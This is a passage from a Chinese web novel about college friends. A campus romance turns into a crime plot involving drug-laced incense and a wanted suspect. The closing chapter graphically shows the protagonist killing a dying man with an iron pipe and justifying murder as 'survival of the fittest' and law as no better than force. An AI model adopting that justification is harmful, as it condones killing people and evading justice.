“快走快走。”韩学涛拉了她一下。 “等一下,那个鱼好大——”她伸着脖子还想多看两眼,已被韩学涛拽着胳膊往前走了。 就在这时,韩学涛的脚步忽然顿住了。 前方十几步远,一个中年男人正弯腰在菜摊前挑西红柿,旁边站着个女人,手里拎着两捆芹菜。这两个人他太熟悉了,熟到不用看脸,光凭背影就能认出来——韩德富,赵秀荣。 韩学涛心里暗叫一声不好,下意识想拉李曼掉头。可赵秀荣已经抬起了头,目光正好撞上他的。 “学涛?”赵秀荣一愣,“你怎么在这儿?” 韩德富也直起身,手里攥着两个西红柿,看见儿子同样意外:“早上你妈还念叨,说你今天回不回?” 韩学涛站在原地,一个头两个大。他看了李曼一眼,李曼还没弄清状况,歪着头打量他爸妈,眼里带着几分好奇。 “爸,妈,”韩学涛稳住神,“你们怎么来买菜了?今天不开班?” 赵秀荣把芹菜换到另一只手上,笑盈盈地说:“刚交完一批订单,今天歇一天,跟你爸出来买点菜。”嘴上说着话,目光却已经从儿子身上滑到了李曼身上——上下打量一遍,再从李曼移回儿子脸上,最后又回到李曼脸上,眼神里明显多了些东西。 李曼听到韩学涛喊“爸妈”,顿时如遭雷劈。刚才看鱼、看杀鸡那股雀跃劲儿全没了,身体不自觉地站直,伸手摸了一下自己的短发——完了完了,怎么偏偏今天把头发剪了?跟个假小子似的!她赶紧把表情调到最乖的模式:“叔叔好,阿姨好。我叫李曼,是韩学涛的同学。” 赵秀荣眉毛一动:“李曼?”她看了韩德富一眼,韩德富也在看她,两人几乎同时想起了什么。赵秀荣往前迈了半步:“你是不是——高中时候你们是同学吧?就是你打电话来通知我们家学涛去拿录取通知书的,对不对?” 李曼愣了一下,没想到那通电话他爸妈记到了现在,赶紧点头:“是的是的,当时老师让我通知的,我是班长。” 赵秀荣一听“班长”两个字,眼睛又亮了几分,转头看韩德富一眼,语气诚恳地说:“那可真得谢谢你。” “阿姨,叔叔,你们太客气了,应该的。” 赵秀荣已经在心里盘算中午的菜单了。她看着李曼,越看越满意:“那正好,今天中午别走了,到家吃饭。学涛你也真是的,带同学来也不提前说一声——” 韩学涛连忙打断:“妈,我们过来是有事,不是来玩的。”他赶紧把来龙去脉说了一遍——艺术节表演,帮李曼找鞋,周三上台要用,所以来鞋厂看看能不能找一双合脚的。 赵秀荣听着,目光往李曼脚上一扫,笑了起来:“这多大的事?让你爸带你们去!” 韩德富也说:“用不着找库存。库存那都是卖不出去的,能穿吗?走,我带你去找老牛师傅,让他现做一双。” 韩学涛连忙摆手:“爸,真不用,我们自己去就行。你们忙你们的——” “忙什么忙?”韩德富打断他,眉头微拧,“人家李曼帮过你,你那个录取通知书要不是人家,你都不知道什么时候才能拿到。帮人就要尽心,哪有你这样的?半吊子水晃荡。” 他把菜篮往赵秀荣手里一递,“老牛师傅他儿媳妇的缝纫机就是我给弄的,这个面子他还能不给?”说完转身就走,根本没给韩学涛拒绝的余地。 到了老牛师傅家,韩德富敲了敲门。 “来了来了。”一个头发全白的老人开了门。 “老牛叔。”韩德富笑着叫了一声。韩学涛也跟着叫了声“牛爷爷”。 老牛师傅今年七十多了,解放前才十来岁的时候,就在租界给鞋店当学徒,学的都是给上海滩那些大亨、洋人做鞋的手艺。解放后进了国营鞋厂,一直干到退休,还在带徒弟。 韩德富把情况说了。老牛师傅听完,站起来走到墙边,伸手摸了摸挂在那里的工具:“行,我亲手做。” 韩学涛赶紧说:“牛爷爷,找个徒弟做就行了,哪好意思让您亲自动手?” 老牛师傅转过头看了他一眼,目光里带着一点认真:“算是我这老头子给港岛回归出一份力。这种活,徒弟干不好。”说完蹲下身,从柜子里翻出一本泛黄的册子,里面密密麻麻记着鞋样,字迹工工整整。他戴上老花镜,让李曼站直了,拿木尺给她量脚留样。 “星期一来拿。” …… 从老牛师傅家出来,韩德富说:“走吧,回家吃饭。” 韩学涛连忙推脱,说学校还有事。他太了解自己的父母了——真坐下来吃顿饭,问东问西的,谁知道能说出什么来。 走出那条巷子,李曼也松了一口气。韩学涛的父母人都挺好,可她就是觉得压力大,心里有些懊恼:自己平时见长辈从来不怯场,今天怎么就这么拘谨?想来想去,觉得都怪自己剪短了头发,一下子没了自信。 韩学涛本打算周一下午去找老牛师傅取鞋。没想到星期天晚上,十点多,寝室快熄灯了。他正躺在床上翻书,寝室电话突然响了—— “喂?” “你出来一下,我在你们学校门口。”韩德富的声音传来。 韩学涛愣了一下,连忙下床,一路小跑到校门口。路灯下,韩德富推着辆自行车站在那里,车把上挂着一个纸盒子。 看见韩学涛跑过来,韩德富从车把上取下纸盒子递过去。 “鞋做好了,给你送过来。怕你们星期一要上课,没时间去拿。” 韩学涛接过盒子一看,里面躺着一双精致的小皮鞋,“爸,都这么晚了……” 韩德富已经跨上了自行车,一只脚踩在脚踏上:“行了,你回去吧,你妈在家等我呢。” “爸——”韩学涛叫了一声。 韩德富回过头。 “你骑自行车,晚上小心一点。” 韩德富摆了摆手,脚一蹬,自行车滑了出去,晃晃悠悠地消失在夜色里。 第160章 聚会的日子 寝室已经熄了灯,只剩下李曼床头那盏小台灯还亮着。 她坐在床沿,轻轻打开那个纸盒子。一双黑色的小皮鞋安安静静地躺在里面,皮面在灯光下泛着柔和的光泽。 刚才韩学涛在楼下把盒子递给她的时候,她还愣了一下——不是说好了星期一一起去拿吗?韩学涛说,我爸刚送过来的,怕星期一上课没时间。 她伸手摸了摸鞋面,皮子细腻柔软,走线笔直均匀,连鞋底的缝线也是手工的,针脚密实,一看就是老师傅的活儿。她找出一双白色短袜穿上,慢慢把脚伸进去。 系好鞋带,站起来走了两步。大小刚刚好,仿佛比着她的脚做的;踩在地上不硬不软,内增高悄悄把她垫高了一点,走起来却一点都不累。鞋口刚好包住脚踝,不松不紧。 “这鞋也太好看了吧!”对面的顾莎莎第一个凑过来,弯着腰盯着李曼脚上的鞋。 周丹从上铺探出头,本来只是随意瞟一眼,目光却一下子黏住了。她们寝室六个人里,周丹最爱买鞋,其他几个女生的鞋加起来都没她一个人的多。而她看鞋的眼光最毒,哪双是商场的,哪双是地摊的,一眼就能分辨。 “这牛皮选得好,不是市面上那种通货。”周丹翻身下了床,蹲下来仔细看了一圈,“这是手工定制的吧?走线这么匀,底子也是一针一针缝的。哪家店做的?” 夏梅也凑过来,趴在床边往下看:“李曼你不是说去童装店买断码吗?怎么又改成定做了?” 李曼走了两步,在床边坐下来:“演出要用,实在找不到合适的。朋友介绍找了一个老师傅,七十多岁,头发全白了,手艺特别好。也是看在朋友家里的面子上,才肯做的。” 她特意把“朋友介绍”和“看在面子上”说了两遍,生怕周丹让她带路去找那个老师傅。 周丹果然眼睛一亮:“哪个朋友啊?这么好。” 李曼顿了一下:“一个高中同学。” 顾莎莎在后面笑了一声,没说话,但那表情的意思很明显——哪个高中同学?韩学涛呗。 夏梅也反应过来了:“是不是军训的时候给你送肯德基那个?” 李曼没吭声。三个人就全明白了。 顾莎莎靠在床柱上,笑着说:“曼曼,你早点去找高中同学不就完了,当时还用得着在寝室挨个问我们。” 周丹啧了一声,低头看着李曼脚上的鞋,语气里带着毫不掩饰的羡慕:“这鞋按脚做的,穿着肯定舒服。而且这个款式,中性,演出能穿,平时搭裤子搭裙子都行。你看看这个皮,穿久了颜色会越穿越润。我前天买那双三百八的,做工比这双差远了!” 夏梅在旁边出主意:“穿牛仔裤,配这双鞋肯定好看,上面搭一件白衬衫——” “不不不,”周丹摆手,“搭黑色的九分裤,露出一截脚踝,穿这双鞋才好看。” 她们仨你一言我一语地讨论开了,从裤子聊到裙子,从裙子聊到外套,好像这双鞋不是穿在李曼脚上,而是挂在商场的橱窗里供人欣赏。 李曼坐在床边,低头看着脚上这双鞋,心思却早就不在搭配上了。 她心里翻来覆去只有一个念头——这算不算是接受了韩学涛父母送的礼物?要不要还礼?还什么?怎么还?韩学涛家会不会多想? 一时间,李曼的心情复杂极了。 ... 艺术节一周表演结束,李曼衣服都没来得及换,还是那副民国记者的装扮,格子西装没穿,拎在手上——六月的天实在太热了。 她一路从文化中心跑出来,在外面的公交车站看到了韩学涛。 今天约好了去师范学院,罗点点和马辉请客。 李曼看了看手表,有点着急:“临时把我们的节目延后了,也不知道点点和马猴那边等急了没。” 韩学涛淡淡地说:“没事,反正他们肯定得等我们到了才开饭。” “公交车怎么还不来?要不我们打车吧?” 韩学涛看了一眼路上来来往往的车:“艺术节散场,这个时间出租车可不好打。等吧。” 等了七八分钟,公交车来了,人挤得简直密不透风,前门几乎关不上。 韩学涛伸手护住李曼的肩,把她往里带。李曼低头看了一眼脚上的皮鞋——还好换了这双,要是原来那双,早被挤掉了。 公交车晃晃悠悠地开动,两个人挤在前门附近,身体随着车厢轻轻摇晃。李曼的格子西装搭在胳膊上,车门口没有吊环,她只能下意识地攥着韩学涛的衣角。短发被挤得有些散乱,圆框眼镜后面,一双眼睛显得格外清亮,衬得下巴越发尖俏。 车在转弯,人群微微倾斜。韩学涛的手从她肩头滑到了腰侧,轻轻扶了一下。李曼没有躲,甚至往他那边靠了靠,发丝擦过他的下巴,有一股淡淡的栀子花味道。 韩学涛低头看她,忽然想起在东林春梅宾馆的时候,她穿着服务员制服的样子——那时候还是长发。 盛夏的光线从车窗挤进来,落在她的侧脸上,细细的绒毛被镀上一层淡金色的光。 李曼感觉到他的目光,微微偏过头,两个人目光碰在一起。周围人声嘈杂,售票员扯着嗓子喊“往后走走,往后走走”,但那一片喧嚣里,好像只剩下两个人贴在一起的那一小块皮肤,隔着薄薄的衣料,在六月的闷热里,微微发烫。 与此同时,螺塘街派出所。 马辉在值班室里看着墙上的钟,屁股坐不住,站起来走了两步,又坐下,整个人像被什么从里面烧着了一样。 刘小勇推门进来的时候,马辉一把揪住他:“你怎么才来?我还要回宿舍换衣服呢!” 刘小勇看了看墙上的钟:“哥,我来得不晚啊,还提前了十分钟呢。” 马辉不管他,一把抓起帽子:“行行行,今天就你带班了,我走了。” 他急匆匆往外走,刚走到走廊,迎面一个人叫住了他:“马辉,你还在?那太好了!” 是所里的内勤。她手里拿着接警记录本,气喘吁吁的:“刚才卫校那个姓何的女生打电话到所里,说她发现她男朋友了。” 马辉脚步一顿,整个人定在了原地:“卫校那个何慧?” “是啊,就是报她男朋友失踪的那个。后来这个案子并入了你们604专案组,要不我能这么急急忙忙跑来喊你吗?” 马辉脑海里闪过吴翔那个小白脸——自己因为他退学,想到罗点点躺在手术台上,麻药还没醒,差一点就成了毒品的容器。他的手不自觉地攥紧了帽子,指节发白。 “在哪里看见的?”马辉的声音几乎是从牙缝里挤出来,“报警记录呢?我来看一下。” 第161章 别进去 韩学涛怎么也没想到,自己和李曼好不容易挤出时间专程赶到师大赴约,马辉这个攒局的人,反倒没来。 上礼拜电话里,这家伙急得像火烧了屁股,恨不得把他俩当场拽过来。可真到了约定这天,他人却蒸发了。 师大教工食堂里,气氛尴尬得要命。 李曼和罗点点并排坐着,脑袋凑在一起说话,声音压得很低,只有她们俩能听见。罗点点明显心情不好,嘴角往下耷着,再怎么努力也藏不住。李曼在旁边劝——到底是在劝还是在聊,韩学涛也听不真切,只看见她的嘴在动。 他一个人坐在对面,夹了块排骨嚼了嚼,又夹了一块。心想着,自己费了半天劲挤公交折腾过来,还不如就待在宁海大学食堂吃。不都是食堂吗?马猴到底在搞什么鬼。 两个女生嘀咕了一阵,罗点点抬起头,朝韩学涛这边看了一眼,开了口:“上次你们来就没请成,这次本来想好好补一顿。学校旁边新开了家韩国烧烤,我原说订个四人套餐,马辉说他来订。现在他不见了,我也不知道他订没订上,直接过去肯定没位子。” 顿了顿,她又问:“对了,韩学涛,马辉最近有没有跟你说过什么?” 这个问句才是关键,韩学涛赶紧替兄弟找补:“忙,马辉最近太忙了。派出所一堆事儿,还进了专案组。专案组你懂吧?随时一个电话就得去开会,所有人不能外出,通讯工具全上交,保密制度特别严。想请假?门都没有。” 罗点点脸色稍稍缓和了些。 李曼在旁边点头帮腔:“我爸也这样,我妈老找不着他,气得直发火。” 韩学涛见这招管用,又补了一句:“马辉他爸就是警察。他自己跟我说的,他爸当年出任务,他妈临产了都不在身边,最后还是邻居送去医院的。” 罗点点声音低了下去:“他也跟我说过,马辉他爸爸好像——” “牺牲了。”韩学涛说。 罗点点不说话了。 过了一会儿,她忽然抬起头,语气里多了一丝焦急:“马辉不会突然去出什么危险的任务了吧?” 李曼提议:“要不吃完饭我们去他派出所看看?” 罗点点连连点头。 饭也没心思吃了,胡乱扒了几口,三个人出了食堂,往螺塘街派出所去。 接待室的内勤听说是找马辉的,头都没抬:“马辉今天不在,出去了。” 李曼说:“我们是老同学,来看看他。知道他干什么去了吗?” “那就不晓得了。” 韩学涛又问:“余兵和刘小勇在不在?” 内勤抬头看了他一眼,拿起电话拨了个号,说了几句,放下听筒:“等一下,刘小勇马上下来。” 不一会儿,刘小勇从楼上跑下来,一见韩学涛就咧嘴笑:“涛哥!” 韩学涛朝他使了个眼色,压低声音问:“小勇,马辉跑哪去了?是临时出任务了吗?” 刘小勇挠挠头,一脸茫然:“任务?没有啊。马哥今天不是约了哪个姑娘吗?急得不行,好几天前就让我替他带班。今天我来了,他还嫌我来晚了,然后自己就跑出去了。” 韩学涛愣在原地。身后两个女生也全愣住了。 “你帮我问问,”韩学涛说,“他是不是临时被叫去出任务了?” 刘小勇转身跑回去,过了十来分钟才出来,摊摊手:“问了一圈,没人知道。” 从派出所出来,三个人站在路边。罗点点低着头,鼻尖泛红。李曼看了看韩学涛,等他开口。 韩学涛把手插进兜里,语气很笃定:“听明白了吧?马辉肯定是临时被调去专案组了。第一,他提前好几天就让人带班,把自己急得跟烧了猴屁股似的,绝对不会故意放鸽子。第二,所里人都不知道他去了哪儿,说明保密级别不低。别瞎想了,等他回来一问就清楚了。” 三个人折返回师大方向。路过那家韩国烧烤店时,罗点点突然停下脚步,犹豫了一下:“我去问问马辉订没订位子。”说着朝店里走去,韩学涛和李曼对视一眼,从后跟上。 老板翻了翻订餐记录,抬头看了他们一眼:“有,马辉的名字订的,留了包间,钱已经付过了。你们怎么才来?” 罗点点一怔,随即眉眼间明显亮了一下——马辉连钱都提前付了,说明他确实可能有事,不是故意不来。想到这里,她心里那点委屈和不快悄悄散了大半,回头看了看韩学涛和李曼,语气也轻快了些:“那……我们再吃一点吧?” 韩学涛摆摆手:“不吃了,刚吃完。马辉又不在。” 老板不乐意了,把订餐本子一合:“你们不吃,钱可退不了。” “凭什么?”罗点点皱起眉,“我们又没吃,凭什么不给退?” “你们看看我店里的生意,包间一直给你们留着,多少客人想来我都没让进。”老板语气硬邦邦的,“现在你们说不吃就不吃,我这损失算谁的?” 李曼说:“那我们打包带走总行了吧。” “自助烧烤,打包?”老板看了她一眼,“哪家自助餐收你们二十块钱,还让人往外搬东西的?” 罗点点又犹豫了,看看韩学涛,又看看李曼:“要不……我们吃一点吧,不然马辉的钱白花了。” 李曼点点头:“行,一边吃一边等,说不定一会儿马辉就来了。” 三个人朝包间走去。走廊不长,拐个弯就到。李曼和罗点点走在前面,韩学涛跟在后面。 还没到门口,韩学涛忽然站住了,像撞上了一堵看不见的墙。 包间的门半掩着,里面安安静静,什么声音都没有。可他就是觉得不对——心里那只一直睡着的警钟突然炸响,震得后背一激灵。 这种感觉他太熟悉了。在黑道上混了那么多年,刀口舔血的日子过下来,他对危险的直觉,比眼睛看得还准。 他没时间多想,猛地伸出手,一左一右抓住李曼和罗点点,狠狠往回一拽。 “别进去!” 第162章 疯子和异香 韩学涛一手拉着李曼,一手拽着罗点点,往外走。步子又快又急。 罗点点被带得一个踉跄,满脸茫然:“怎么了?不吃了?” 韩学涛没吭声。 李曼看了他一眼——他表情不对。她立刻不问了,跟上他的步子,一边走一边说:“不吃了不吃了!就那老板的态度,我也吃不下去了。回头等马辉忙完,咱们去市中心吃!” 三个人刚出烧烤店的门,台阶还没下完,街对面一个人影晃了晃,猛地朝他们冲过来。 那是个男的。看不出多大岁数,头发油腻腻地贴在脑门上,穿着一件脏成灰白色的T恤,领口歪到了一边,脚上趿拉着一双破了洞的凉鞋。他一边跑一边嘴里含混不清地喊,凑近了才听清——“小妹妹……哎呦小妹妹……” 他手舞足蹈地扑过来,手里还挥舞着什么东西。那只脏兮兮的手直直地伸向李曼——眼看就要碰到了。 韩学涛反应快,一把攥住他的手腕,猛地一拧。 “疼疼疼——”那男的龇牙咧嘴地嚎起来,“打人啦!打人啦!” 他另一只手伸过来,想挠韩学涛的脸。韩学涛手上又加了几分力,往下一扳。那人手指一松,一个东西从他手里滑落,“啪嗒”掉在地上,骨碌碌滚了两下。 是个注射器。针筒上糊着一层黑乎乎的脏东西,隐约能看出斑斑点点的暗红色痕迹。针头又长又细。 李曼和罗点点吓得同时往后一缩。 罗点点捂着嘴,声音都变了:“就是他!就是这疯子,老在学校附近晃悠。上个月保卫处还发通告了,说他跑到卫校偷东西,拿针管扎人,让大家小心。” 周围已经围了一圈人。远远地站着,指指点点,没一个上前。 那疯子疼得龇牙咧嘴,眼泪鼻涕糊了一脸,又想往韩学涛身上扑,嘴里呜呜啊啊地叫。 李曼拽着韩学涛的胳膊往后拉:“别碰他!这是真疯子,离他远点!” 韩学涛松了手。 那疯子踉跄了两步,头也不回地跑了。趿拉着的凉鞋在路面上啪嗒啪嗒响,一溜烟钻进了巷子里。 韩学涛盯着他跑的方向,觉得不对劲。他迈了一步想追。 李曼一把拉住他:“别追了!赶紧走。” 韩学涛皱着眉没动。他掏出手机拨出去:“小勇,你来一下。我在师大这边的韩国烧烤门口。” 挂了电话。李曼和罗点点站在旁边,谁都没说话。 不到十分钟,刘小勇骑着摩托车到了。车还没停稳,人就跳了下来:“涛哥,怎么了?” 韩学涛抬了抬下巴:“碰上个疯子,拿针管扎人。” 刘小勇一听就明白了:“噢,麻老四。就这片的,从小疯的,精神病院都不收。在里面打人,出来偷东西,派出所也管不了他。” 韩学涛说:“针管掉地上了。你拿回去,想办法找人验验。” 刘小勇看了他一眼,没多问,蹲下身用纸把注射器包好:“哥,我有办法。” 出了这种事,三个人谁也没心思再待下去。韩学涛打算先把罗点点送回寝室,再和李曼回宁海大学。 刚走了几步,韩学涛忽然停下来。 “你们等我一下。” 说完他转身又进了韩国烤肉店。李曼在身后喊了一声,他头也没回。 烧烤店里,老板正站在柜台后面擦手。看见他又进来了,没好气地开口:“你不是不吃吗?还到我这儿转悠啥?” 韩学涛没理他,径直走到走廊尽头。 那个包间的门,还紧紧地闭着。 他犹豫了一下,慢慢伸手推开了门—— 一股香气扑面而来。 不是烤肉的香味。是一种甜腻腻的、说不上来的味道,浓得发闷,一进门就糊在鼻腔里,熏得人直发晕。 韩学涛转头看向老板:“你这包间,弄这么香干什么?” 老板也是一脸纳闷:“哎?谁在包间里点香了?”他扭头朝服务员吼,骂骂咧咧的,“你们有这个毛病,不如多拖两次地!赶紧的——过来把包间窗户打开透透气!这香的,熏得人直犯恶心,客人怎么吃饭!” 服务员小跑过来,推开窗户。外面的风吹进来,那香气散了一些。 韩学涛站在包间门口,脸上已经是一片寒霜。 ... 回去的公交车上,不像来时那么挤了。 韩学涛和李曼坐在最后一排,整排就他们两个人。车窗半开,晚风灌进来,把李曼的短发吹得朝一边倒。 “真没想到今天过来会是这样。”李曼靠在椅背上,语气里带着点泄气,“本来想着咱们四个能好好吃顿饭,看看点点和马猴两个人怎么互动。结果马猴没到,倒碰上个疯子。早知道就不来了。” 韩学涛脸上已经恢复了平静,笑了笑说:“我看他们师大那边风水不好。下次要请客,咱们挑地方,让马猴买单就行了......” 他正说着,李曼忽然转过头来:“对了,你们系那个项目做得怎么样了?” 韩学涛一怔:“你这思维跳得也太快了——怎么一下子就拐到这上面来了?” 李曼说:“我刚才看你拿手机打电话,就在想——我自己这段时间努力的方向,是不是不对?” “嗯?” “你跟我说过的呀,你们系主任要提前收你当研究生了,还带着你做这么大的项目,给你们发项目补助,连手机都配上了。”李曼说,“我呢,天天在学生会忙这忙那,大一都快结束了,好像也没什么收获。跟你比差远了。” 韩学涛听明白了。李曼以为他的手机是项目配的——也难怪,做项目、系主任带着、还发补助,配个手机听起来确实合情合理。他笑了笑:“说起来,还得感谢你。” “跟我有什么关系?” “要不是你介绍我到图书馆冯老师那边做兼职,我也学不了那么多东西。”韩学涛说,“现在说不定还跟其他勤工俭学的同学一样,在校园里扫树叶呢。” 他说的是真心话。在冯老师那边待着的感觉,就像武侠小说里掉进了少林寺的藏经阁,什么顶尖的武功秘籍都有,就看自己肯不肯练。 李曼听到这话,显得很开心,拍着他的肩膀,语气一下子调皮起来:“不用谢啦,咱俩谁跟谁?好兄弟,一辈子!” 韩学涛哈哈一笑:“你女扮男装一次,还演上瘾了是吧?” 李曼“嗯”了一声:“头发长长之前,我就男生打扮了。我们寝室莎莎现在都要给我当女朋友了——已经被本少爷迷倒了。” 韩学涛转头看了她一眼。其实她这身中性打扮,看起来一点也不中性,短发反而衬得她更娇俏了。他开玩笑道:“那你别让她看到我们寝室的小白,不然肯定移情别恋。” 李曼不服气:“怎么?本少爷不如你们那个小白帅?” 韩学涛说:“你能不能当校草我不知道,但小白要是扮女装,我估计肯定能评校花。” “你就背后说人坏话吧。”李曼被逗笑了。 笑着笑着,她发现韩学涛的笑容慢慢淡了下去。 韩学涛在想马辉。 包间里那股香味,他一进门就觉得不对劲——不是普通熏香。那是泡过合成大麻素的缓释香薰片。 那种东西一加热,香味就会慢慢散出来,带着一股不太正常的栀子花味儿。烤肉店里油烟那么重,平时根本注意不到。可要是在里面待上四五十分钟,人就会产生成瘾反应。 他们那间包间好久没通风了,香味全闷在里面,所以才那么冲。 韩学涛嘴角一沉——对方是冲着马辉来的。 马辉为了救罗点点,端掉了整形医院的据点。现在看来,有人不肯放过他! 第163章 致命意外 回到宁海大学后,李曼回了寝室。韩学涛看了眼时间,又拐去了图书馆。 冯老师对他的积极性已经没话说了。 原本冯老师知道他在做地质系的项目,以为他会来得少一些,结果韩学涛不但没少来,反而比以前还勤快。到后来,冯老师干脆把自己办公室的钥匙都给了他一把——想什么时候来,就什么时候来。 最近他在听化学方面的课程。专业名词多,听起来稍微有点吃力,但摸清了那些词之后,慢慢也上了正轨。 据说这套课程对化工系教研组很重要,是宁海大学一位老师后来去新墨西哥大学留学时,在课堂上录回来的。化工系本来自己在翻,但录音的英文口音实在难懂,他们自己听得都费劲。最后还是冯老师推荐了韩学涛,他一上手,效率比原来快了十倍不止。这套教材的翻译工作,就这么交到了他手上。 韩学涛正听着化学录音,脑子里忽然冒出一个念头——以后有部很火的美剧叫《绝命毒师》,里面的老白好像就是新墨西哥大学毕业的。 他笑了笑,继续听。 这一听,就听到了寝室快关灯的时间。 他赶紧从图书馆出来,往寝室赶。走到半路,手机突然响了。 刚一接通,那边就传来马辉的声音,慌慌张张的:“涛子,你在哪?” “在学校。你跑哪去了?”韩学涛放慢了脚步。 马辉没回答,声音发飘,像在自言自语地说:“没事……你在学校那就没事了。” 韩学涛心里一紧,停下脚步:“马辉,你别挂。你在哪?” “我没事……”马辉的声音已经带上了哭腔,“涛子,你当我是兄弟,以后我妈那边,你多去看看。还有点点,你和班长别看不起她,她心很细的,很软的。” 韩学涛握着手机的手指收紧了。 “马猴,你再跟我婆婆妈妈的,我现在就去找罗点点。”他的声音冷了下来,“怎么,学会跟我藏着掖着了?” 电话那头沉默了几秒,只剩下呼吸声。 “不是……这事……” “告诉我地址!”韩学涛打断他,“不然你说的那些破事,我一个都不会管。” 又是几秒的沉默。然后马辉的声音传过来,带着鼻音:“铁路西站老货场这边……有个电话亭。” 韩学涛挂了电话,转身就往校门口跑。 夜晚的铁路西站货场,像一头伏在地上的巨兽,黑漆漆地喘着气。 生锈的铁轨在月光下泛着惨白的光,一直延伸到看不见的黑暗里。远处停着几节废弃的车皮,上面的铁皮剥落了一大片,露出里面黑褐色的锈迹。一堆堆枕木歪歪扭扭地码在铁轨旁边,像随时要塌下来。空气里弥漫着一股铁锈和机油的气味,偶尔一阵风吹过,带着荒草被晒了一整天后散发出的干燥热气。 马辉刚才在电话里的地址说得含含糊糊的,他自己可能都搞不清楚自己到底在哪儿。 但韩学涛找路已经形成了本能——铁路货场这种地方,能架电话亭的位置必须是硬化地面,不能是碎石和枕木堆;必须靠近路口,方便车进出;必须在地势高的地方,雨天不积水。他脑子里过了这三个条件,沿着货场边缘的小路快步走了百来米,翻过一堵矮墙,果然看见了一个电话亭。 灰色的铁皮壳子,玻璃碎了一面,里面的电话机歪歪斜斜地挂着。 电话亭里没有人。 韩学涛目光一扫,看见马路对面一个石墩子上蹲着一个人。 那石墩子是铁路边的限界桩,水泥浇的,半人高。那人蹲在上面,像一只被雨淋透了的鸟。烟头的火光在黑暗中一明一灭,映出一张惨白的脸。 韩学涛快步穿过马路。走近了才看清楚——马辉整个人都在抖。不是冷的那种抖,是从骨头里往外颤。手指夹着烟,抖得烟灰掉了一裤腿。腿在抖,肩膀也在抖,整个人像快要散架了。 听到脚步声,马辉猛地抬起头。看见是韩学涛,他眼睛里忽然有了一点光,从石墩子上跳下来,一把抓住韩学涛的胳膊。 “涛子,你赶紧走。”他的声音沙哑得不像自己的,“我要完了,不想牵连你。到时候你爸你妈还有班长——我没脸见他们了。” 韩学涛一把揪住他的衣领,把人拽到跟前,盯着他的眼睛:“我人都已经来了。没时间听你啰嗦。到底怎么了?” 马辉的嘴唇哆嗦了两下,然后一下子抓住韩学涛的肩膀,眼眶通红,声音像从破风箱里挤出来的:“我找到吴翔了。” 韩学涛一愣:“人呢?” “在那边出租屋里……要死了。”马辉的声音里带着说不出的慌乱和恐惧。 韩学涛嘴唇抿紧,一言不发,揪着马辉就走。 马辉指了个方向。两人穿过一片堆满废料的空地,绕过两节废弃的车皮,来到一排低矮的平房前。最里面那间屋子门半开着,昏黄的灯光从门缝里漏出来,照在地上的碎石上。 韩学涛推门进去。 屋子很小。一张行军床,一张折叠桌,地上扔着几个泡面桶和烟头。床上躺着一个人,脸上全是血,已经看不清五官了,只有眼镜还挂在耳朵上——一个镜片碎了,另一个镜片上糊着红黑色的血污。他头上裂了一道口子,血已经不再往外涌了,顺着脸颊淌下来,在发白的床单上洇开了一大片暗红色。 是吴翔。 韩学涛走过去,蹲下来,翻开吴翔的眼皮看了看——瞳孔已经开始散了。他又摸了摸脖子上的脉搏,跳得很弱,很慢,人应该马上就要没了。 韩学涛站起来,转身看着马辉。 马辉靠在门框上,腿在发抖,眼睛里的恐惧像开了闸的水一样往外涌。 “怎么回事?”韩学涛问。 马辉咽了口唾沫,声音断断续续:“我接到报案……那个卫校的何慧,说看到她男朋友了,在这边……我就过来查。找到了这个屋子,他在里面,我想抓他……”他的声音抖得厉害,“他不肯跟我走,想跑……我急了。” 他抬起头看了韩学涛一眼,又低下头去:“我其实知道应该叫人的。但当时就我一个,叫人来他早跑了。我就想,先把他按住再说……” 他的声音越来越小:“我顺手摸了个东西,就往他身上砸了一下……” 他抬起右手。手背上沾着已经干了的血迹,指节上蹭破了皮。他看着自己这只手,像是第一次见到它一样。 “我不知道会这样……就一下,就一下……” 韩学涛看了一眼吴翔头上的伤口,又看了一眼马辉的手,没有说话。 马辉的声音忽然拔高了,带着哭腔,像溺水的人在喊救命:“涛子,我这是要杀人了……我这辈子完了……我妈怎么办?点点她……” “滴嘟~” 外面突然传来警笛声。 马辉浑身一僵,脸色刷地白了。 第164章 圣斗士不杀人,还当什么圣斗士? 外面忽然传来警笛声。 马辉浑身一僵,脸“刷”地白了。 韩学涛一把揪住他,猛地摁在墙上,自己侧身贴着门框往外扫了一眼。 警笛声从远处飘来,忽近忽远,红蓝光在夜色里闪了几下,拐了个弯,朝另一头去了。声音越走越弱,最后彻底被风吞掉。 韩学涛松开手,转过身,又一把揪住马辉的衣领,把人拽到跟前。 “你怕什么?”他盯着马辉的眼睛,一字一顿,“你身上穿的是警服。怕警察?别忘了——你就是警察!” 马辉嘴唇发抖,说不出话。 韩学涛松开他,走到床边蹲下,摸了摸吴翔的脖子,又站起来。 “人还没死。你慌什么?” “可他这个样子——不去医院——”马辉声音发颤。 “但不是死在你手里的。”韩学涛冷冷地说。 马辉愣住了,直直地看着他,像没听懂这句话。 韩学涛没再看他。他弯腰从地上捡起那根铁管——就是马辉刚才用的那根,上面还沾着血。他在手里掂了掂,转身面对床上那个奄奄一息的人。 吴翔躺在那里,脸上全是血,眼镜歪到一边,胸口还在微弱地起伏。 韩学涛握紧铁管,瞄准吴翔的太阳穴。没有犹豫,没有停顿,手起管落。 一下。 “砰”的一声,闷得像砸在一袋湿沙子上。 吴翔的身体猛地抽了一下,四肢像被电击了一样弹起来,然后又重重落回床上。血从裂开的伤口里涌出来,顺着脸颊淌进耳朵里,浸透了身下的床单。 第二下。 吴翔的身体彻底不动了。 马辉像被人从背后捅了一刀,整个人弹了起来,震惊地看着韩学涛:“涛子!你干什么?!” 韩学涛把铁管扔到一边。 “刚才他没死。现在他死了。我打死的。” 马辉扑上去,抓住韩学涛的肩膀,眼睛血红:“你疯了——这是我的事,你凭什么——” 韩学涛一把揪住马辉的衣领:“马辉,你听清楚。人活在这个世上,就是弱肉强食。死个把人,有什么大不了的?用得着哭哭唧唧?” 马辉喉咙里发出粗重的喘息,嘴唇哆嗦了半天,一个字也挤不出来。 韩学涛冷笑了一声:“圣斗士不杀人?那他还当什么圣斗士?去当一休哥好了。” “你知不知道你在说什么……”马辉声音嘶哑。 “我清楚得很。”韩学涛盯着他,一眨不眨,“你无非就要说法律。法律是什么?”他低头看了一眼地上的铁管,抬脚踩了上去,“跟我手上这根铁管,有什么不同?” 韩学涛松开他的衣领,转身蹲下去翻吴翔的口袋。钱包、手机、钥匙——一样一样掏出来,扔到一边。 “法律是维持秩序的,不是维护良知的。”他一边翻一边说,“良知在你心里。我们做事,就问一句——亏不亏心?对不对得起人?” 他抬起头,看了马辉一眼,指着吴翔的尸体: 